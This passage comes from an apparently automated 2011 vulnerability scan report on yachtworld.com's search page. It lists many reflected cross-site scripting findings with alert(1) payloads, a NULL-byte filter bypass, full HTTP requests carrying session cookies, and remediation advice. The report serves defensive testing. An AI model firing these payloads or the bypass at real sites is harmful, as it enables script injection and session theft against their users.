The value of the man request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 42a8e"style%3d"x%3aexpression(alert(1))"35df26c4644 was submitted in the man parameter. This input was echoed as 42a8e"style="x:expression(alert(1))"35df26c4644 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
HTTP/1.1 200 OK Date: Thu, 27 Jan 2011 19:40:13 GMT Server: Apache Cache-Control: private Content-Language: en-US Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Content-Type: text/html; charset=utf-8 Content-Length: 99292
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html lang="en-US"> <head>
<titl ...[SNIP]... <meta name="description" content="2004 regulator42a8e"style="x:expression(alert(1))"35df26c4644 Boats For Sale - YachtWorld.com"> ...[SNIP]...
The value of the man request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 42756"style%3d"x%3aexpression(alert(1))"4d461dcf13719d17d was submitted in the man parameter. This input was echoed as 42756"style="x:expression(alert(1))"4d461dcf13719d17d in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.
HTTP/1.1 200 OK Date: Thu, 27 Jan 2011 19:39:36 GMT Server: Apache Cache-Control: private Content-Language: en-US Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Content-Type: text/html; charset=utf-8 Content-Length: 97419
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html lang="en-US"> <head>
<titl ...[SNIP]... <meta name="description" content="2004 regulator42756"style="x:expression(alert(1))"4d461dcf13719d17d Boats For Sale - YachtWorld.com"> ...[SNIP]...
The value of the man request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 48150"%3balert(1)//9fefc9ac6512fe6c was submitted in the man parameter. This input was echoed as 48150";alert(1)//9fefc9ac6512fe6c in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
HTTP/1.1 200 OK Date: Thu, 27 Jan 2011 19:39:36 GMT Server: Apache Cache-Control: private Content-Language: en-US Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Content-Type: text/html; charset=utf-8 Content-Length: 35316
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of the man request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload %0064f43"%3balert(1)//6fa7de51e85 was submitted in the man parameter. This input was echoed as 64f43";alert(1)//6fa7de51e85 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) anywhere before the characters that are being blocked.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.
Request
GET /core/listing/cache/searchResults.jsp?fromYear=2004&searchtype=homepage&Ntk=boatsEN&sm=3&toLength=32&cit=true&luom=126¤cyid=100&No=10&fromPrice=0&fromLength=24&man=regulator%0064f43"%3balert(1)//6fa7de51e85&slim=quick&is=false&pricderange=Select+Price+Range&resultsLayout=0 HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=4B0B0F72E37A07E93F136CA779786D04.boapp05; __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A30PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20s_sq%3D%3B; boats_temp_info=lf:ywlf; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=4318294598094503882; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; boats_session_info=session_uom:126:locale_currency_id:100; s_pers=%20s_nr%3D1296157124506%7C1298749124506%3B%20s_lv%3D1296157124508%7C1390765124508%3B%20s_lv_s%3DFirst%2520Visit%7C1296158924508%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=20819632.1753731474.1296155835.1296155835.1296155835.1; __utmc=20819632; __utmb=20819632.27.10.1296155835;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 22:05:56 GMT Server: Apache Cache-Control: private Content-Language: en-US Set-Cookie: ene_results_layout=0; path=/; expires=Wed, 15-Feb-2079 01:20:03 GMT Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
3.388. http://www.yachtworld.com/core/listing/cache/searchResults.jsp [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.yachtworld.com
Path:
/core/listing/cache/searchResults.jsp
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ae678"style%3d"x%3aexpression(alert(1))"5bd00433937e06452 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as ae678"style="x:expression(alert(1))"5bd00433937e06452 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.
HTTP/1.1 200 OK Date: Thu, 27 Jan 2011 19:41:51 GMT Server: Apache Cache-Control: private Content-Language: en-US Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Content-Type: text/html; charset=utf-8 Content-Length: 94657
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
3.389. http://www.yachtworld.com/core/listing/cache/searchResults.jsp [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.yachtworld.com
Path:
/core/listing/cache/searchResults.jsp
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 19e9d"style%3d"x%3aexpression(alert(1))"f5d3342dc2 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 19e9d"style="x:expression(alert(1))"f5d3342dc2 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
HTTP/1.1 200 OK Date: Thu, 27 Jan 2011 19:41:13 GMT Server: Apache Cache-Control: private Content-Language: en-US Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Content-Type: text/html; charset=utf-8 Content-Length: 94057
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of the pbsint request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 725d1'%3balert(1)//e5c45981bb1 was submitted in the pbsint parameter. This input was echoed as 725d1';alert(1)//e5c45981bb1 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
HTTP/1.1 500 Internal Server Error Date: Thu, 27 Jan 2011 19:41:44 GMT Server: Apache Cache-Control: private Content-Language: en-US Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 20477
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html lang="en-US"> <head>
...[SNIP]... <br>'+ 'ExceptionMessage: For input string: "725d1';alert(1)//e5c45981bb1"<br> ...[SNIP]...
The value of the resultsLayout request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload e1109'%3balert(1)//e1d13c26d16 was submitted in the resultsLayout parameter. This input was echoed as e1109';alert(1)//e1d13c26d16 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /core/listing/cache/searchResults.jsp?Ntk=boatsEN&searchtype=homepage&fromYear=2004&sm=3¤cyid=100&cit=true&toLength=32&luom=126&fromLength=24&fromPrice=0&man=regulator&slim=quick&is=false&pricderange=Select+Price+Range&resultsLayout=0e1109'%3balert(1)//e1d13c26d16 HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 500 Internal Server Error Date: Thu, 27 Jan 2011 20:13:56 GMT Server: Apache Cache-Control: private Content-Language: en-US Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html lang="en-US"> <head>
...[SNIP]... <br>'+ 'ExceptionMessage: For input string: "0e1109';alert(1)//e1d13c26d16"<br> ...[SNIP]...
The value of the rid request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload a3b13"%3balert(1)//db045c034be was submitted in the rid parameter. This input was echoed as a3b13";alert(1)//db045c034be in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
HTTP/1.1 200 OK Date: Thu, 27 Jan 2011 19:41:39 GMT Server: Apache Cache-Control: private Content-Language: en-US Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Content-Type: text/html; charset=utf-8 Content-Length: 35282
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of the sm request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 7c656'%3balert(1)//1b0ea6fdeb5 was submitted in the sm parameter. This input was echoed as 7c656';alert(1)//1b0ea6fdeb5 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
HTTP/1.1 500 Internal Server Error Date: Thu, 27 Jan 2011 19:39:37 GMT Server: Apache Cache-Control: private Content-Language: en-US Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 20064
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html lang="en-US"> <head>
...[SNIP]... <br>'+ 'ExceptionMessage: For input string: "37c656';alert(1)//1b0ea6fdeb5"<br> ...[SNIP]...
The value of the sm request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload af64c'%3balert(1)//e6763372b5ec28c48 was submitted in the sm parameter. This input was echoed as af64c';alert(1)//e6763372b5ec28c48 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
HTTP/1.1 500 Internal Server Error Date: Thu, 27 Jan 2011 19:41:14 GMT Server: Apache Cache-Control: private Content-Language: en-US Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 20083
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html lang="en-US"> <head>
...[SNIP]... <br>'+ 'ExceptionMessage: For input string: "3af64c';alert(1)//e6763372b5ec28c48"<br> ...[SNIP]...
The value of the toLength request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 7ec31'%3balert(1)//94360dd5dbfae9f10 was submitted in the toLength parameter. This input was echoed as 7ec31';alert(1)//94360dd5dbfae9f10 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
HTTP/1.1 200 OK Date: Thu, 27 Jan 2011 19:40:08 GMT Server: Apache Cache-Control: private Content-Language: en-US Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Content-Type: text/html; charset=utf-8 Content-Length: 94887
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of the toLength request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload d8ca5'%3balert(1)//1a6789b9647 was submitted in the toLength parameter. This input was echoed as d8ca5';alert(1)//1a6789b9647 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
HTTP/1.1 200 OK Date: Thu, 27 Jan 2011 19:39:51 GMT Server: Apache Cache-Control: private Content-Language: en-US Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Content-Type: text/html; charset=utf-8 Content-Length: 93745
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of the toYear request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 82d4e'%3balert(1)//eb25b90bb3ba75971 was submitted in the toYear parameter. This input was echoed as 82d4e';alert(1)//eb25b90bb3ba75971 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
HTTP/1.1 200 OK Date: Thu, 27 Jan 2011 19:40:19 GMT Server: Apache Cache-Control: private Content-Language: en-US Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Content-Type: text/html; charset=utf-8 Content-Length: 94151
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of the toYear request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 5af4e'%3balert(1)//9065e4618ba was submitted in the toYear parameter. This input was echoed as 5af4e';alert(1)//9065e4618ba in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
HTTP/1.1 200 OK Date: Thu, 27 Jan 2011 19:41:19 GMT Server: Apache Cache-Control: private Content-Language: en-US Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Content-Type: text/html; charset=utf-8 Content-Length: 95041
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of the type request parameter is copied into the HTML document as text between TITLE tags. The payload 9a157</title><script>alert(1)</script>6f256bef360873b0f was submitted in the type parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.
HTTP/1.1 200 OK Date: Thu, 27 Jan 2011 19:39:49 GMT Server: Apache Cache-Control: private Content-Language: en-US Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Content-Type: text/html; charset=utf-8 Content-Length: 35529
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html lang="en-US"> <head>
<title>2004 regulator 9a157</title><script>alert(1)</script>6f256bef360873b0f Boats For Sale</title> ...[SNIP]...
The value of the type request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload a9505"%3balert(1)//2df1792999f5e77d was submitted in the type parameter. This input was echoed as a9505";alert(1)//2df1792999f5e77d in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
HTTP/1.1 200 OK Date: Thu, 27 Jan 2011 19:39:44 GMT Server: Apache Cache-Control: private Content-Language: en-US Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Content-Type: text/html; charset=utf-8 Content-Length: 35420
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of the type request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload da9fa"><script>alert(1)</script>dc4f88da9f6701ea3 was submitted in the type parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
